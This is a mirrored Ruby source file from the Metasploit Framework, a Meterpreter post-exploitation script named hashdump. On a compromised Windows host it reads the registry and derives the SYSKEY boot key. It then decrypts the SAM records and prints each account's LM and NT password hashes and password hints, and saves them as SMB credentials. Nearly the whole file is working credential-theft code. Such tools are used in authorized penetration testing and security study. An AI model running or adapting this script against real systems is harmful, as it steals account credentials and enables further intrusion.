CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/hashdump.rb
Views: 1904
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
#
9
# Implement pwdump (hashdump) through registry reads + syskey
10
11
@client = client
12
opts = Rex::Parser::Arguments.new(
13
"-h" => [ false, "Help menu." ],
14
"-p" => [ true, "The SMB port used to associated credentials."]
15
)
16
17
smb_port = 445
18
19
opts.parse(args) { |opt, idx, val|
20
case opt
21
when "-h"
22
print_line "hashdump -- dump SMB hashes to the database"
23
print_line(opts.usage)
24
raise Rex::Script::Completed
25
when "-p"
26
smb_port = val.to_i
27
end
28
}
29
30
# Constants for SAM decryption
31
@sam_lmpass = "LMPASSWORD\x00"
32
@sam_ntpass = "NTPASSWORD\x00"
33
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
34
@sam_numeric = "0123456789012345678901234567890123456789\x00"
35
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
36
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
37
38
@des_odd_parity = [
39
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
40
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
41
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
42
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
43
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
44
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
45
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
46
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
47
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
48
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
49
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
50
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
51
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
52
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
53
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
54
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
55
]
56
57
def capture_boot_key
58
bootkey = ""
59
basekey = "System\\CurrentControlSet\\Control\\Lsa"
60
%W{JD Skew1 GBG Data}.each do |k|
61
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
62
return nil if not ok
63
bootkey << [ok.query_class.to_i(16)].pack("V")
64
ok.close
65
end
66
67
keybytes = bootkey.unpack("C*")
68
descrambled = ""
69
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
70
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
71
72
0.upto(keybytes.length-1) do |x|
73
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
74
end
75
76
77
descrambled
78
end
79
80
def capture_hboot_key(bootkey)
81
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
82
return if not ok
83
vf = ok.query_value("F")
84
return if not vf
85
vf = vf.data
86
ok.close
87
88
hash = Digest::MD5.new
89
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
90
91
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
92
rc4.key = hash.digest
93
hbootkey = rc4.update(vf[0x80, 32])
94
hbootkey << rc4.final
95
return hbootkey
96
end
97
98
def capture_user_keys
99
users = {}
100
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
101
return if not ok
102
103
ok.enum_key.each do |usr|
104
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
105
next if usr == 'Names'
106
users[usr.to_i(16)] ||={}
107
users[usr.to_i(16)][:F] = uk.query_value("F").data
108
users[usr.to_i(16)][:V] = uk.query_value("V").data
109
110
#Attempt to get Hints (from Win7/Win8 Location)
111
begin
112
users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0])
113
rescue ::Rex::Post::Meterpreter::RequestError
114
users[usr.to_i(16)][:UserPasswordHint] = nil
115
end
116
117
uk.close
118
end
119
ok.close
120
121
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
122
ok.enum_key.each do |usr|
123
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
124
r = uk.query_value("")
125
rid = r.type
126
users[rid] ||= {}
127
users[rid][:Name] = usr
128
129
#Attempt to get Hints (from WinXP Location) only if it's not set yet
130
if users[rid][:UserPasswordHint].nil?
131
begin
132
uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
133
users[rid][:UserPasswordHint] = uk_hint.query_value("").data
134
rescue ::Rex::Post::Meterpreter::RequestError
135
users[rid][:UserPasswordHint] = nil
136
end
137
end
138
139
uk.close
140
end
141
ok.close
142
users
143
end
144
145
def decrypt_user_keys(hbootkey, users)
146
users.each_key do |rid|
147
user = users[rid]
148
149
hashlm_enc = ""
150
hashnt_enc = ""
151
152
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
153
154
#Check if hashes exist (if 20, then we've got a hash)
155
lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
156
nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
157
158
#If we have a hashes, then parse them (Note: NT is dependent on LM)
159
hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
160
hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
161
162
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
163
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
164
end
165
166
users
167
end
168
169
def decode_windows_hint(e_string)
170
d_string = ""
171
e_string.scan(/..../).each do |chunk|
172
bytes = chunk.scan(/../)
173
d_string += (bytes[1] + bytes[0]).to_s.hex.chr
174
end
175
d_string
176
end
177
178
def convert_des_56_to_64(kstr)
179
key = []
180
str = kstr.unpack("C*")
181
182
key[0] = str[0] >> 1
183
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
184
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
185
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
186
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
187
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
188
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
189
key[7] = str[6] & 0x7F
190
191
0.upto(7) do |i|
192
key[i] = ( key[i] << 1)
193
key[i] = @des_odd_parity[key[i]]
194
end
195
196
key.pack("C*")
197
end
198
199
def rid_to_key(rid)
200
201
s1 = [rid].pack("V")
202
s1 << s1[0,3]
203
204
s2b = [rid].pack("V").unpack("C4")
205
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
206
s2 << s2[0,3]
207
208
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
209
end
210
211
def decrypt_user_hash(rid, hbootkey, enchash, pass)
212
213
if(enchash.empty?)
214
case pass
215
when @sam_lmpass
216
return @sam_empty_lm
217
when @sam_ntpass
218
return @sam_empty_nt
219
end
220
return ""
221
end
222
223
des_k1, des_k2 = rid_to_key(rid)
224
225
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
226
d1.padding = 0
227
d1.key = des_k1
228
229
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
230
d2.padding = 0
231
d2.key = des_k2
232
233
md5 = Digest::MD5.new
234
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
235
236
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
237
rc4.key = md5.digest
238
okey = rc4.update(enchash)
239
240
d1o = d1.decrypt.update(okey[0,8])
241
d1o << d1.final
242
243
d2o = d2.decrypt.update(okey[8,8])
244
d1o << d2.final
245
d1o + d2o
246
end
247
if client.platform == 'windows'
248
begin
249
250
print_status("Obtaining the boot key...")
251
bootkey = capture_boot_key
252
253
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
254
hbootkey = capture_hboot_key(bootkey)
255
256
print_status("Obtaining the user list and keys...")
257
users = capture_user_keys
258
259
print_status("Decrypting user keys...")
260
users = decrypt_user_keys(hbootkey, users)
261
262
print_status("Dumping password hints...")
263
print_line()
264
hint_count = 0
265
users.keys.sort{|a,b| a<=>b}.each do |rid|
266
#If we have a hint then print it
267
if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0
268
print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\""
269
hint_count += 1
270
end
271
end
272
print_line("No users with password hints on this system") if hint_count == 0
273
print_line()
274
275
print_status("Dumping password hashes...")
276
print_line()
277
print_line()
278
users.keys.sort{|a,b| a<=>b}.each do |rid|
279
hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
280
@client.framework.db.report_auth_info(
281
:host => client.sock.peerhost,
282
:port => smb_port,
283
:sname => 'smb',
284
:user => users[rid][:Name],
285
:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
286
:type => "smb_hash"
287
)
288
289
print_line hashstring
290
291
end
292
print_line()
293
print_line()
294
295
rescue ::Interrupt
296
raise $!
297
rescue ::Rex::Post::Meterpreter::RequestError => e
298
print_error("Meterpreter Exception: #{e.class} #{e}")
299
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
300
rescue ::Exception => e
301
print_error("Error: #{e.class} #{e} #{e.backtrace}")
302
end
303
else
304
print_error("This version of Meterpreter is not supported with this Script!")
305
raise Rex::Script::Completed
306
end
307
308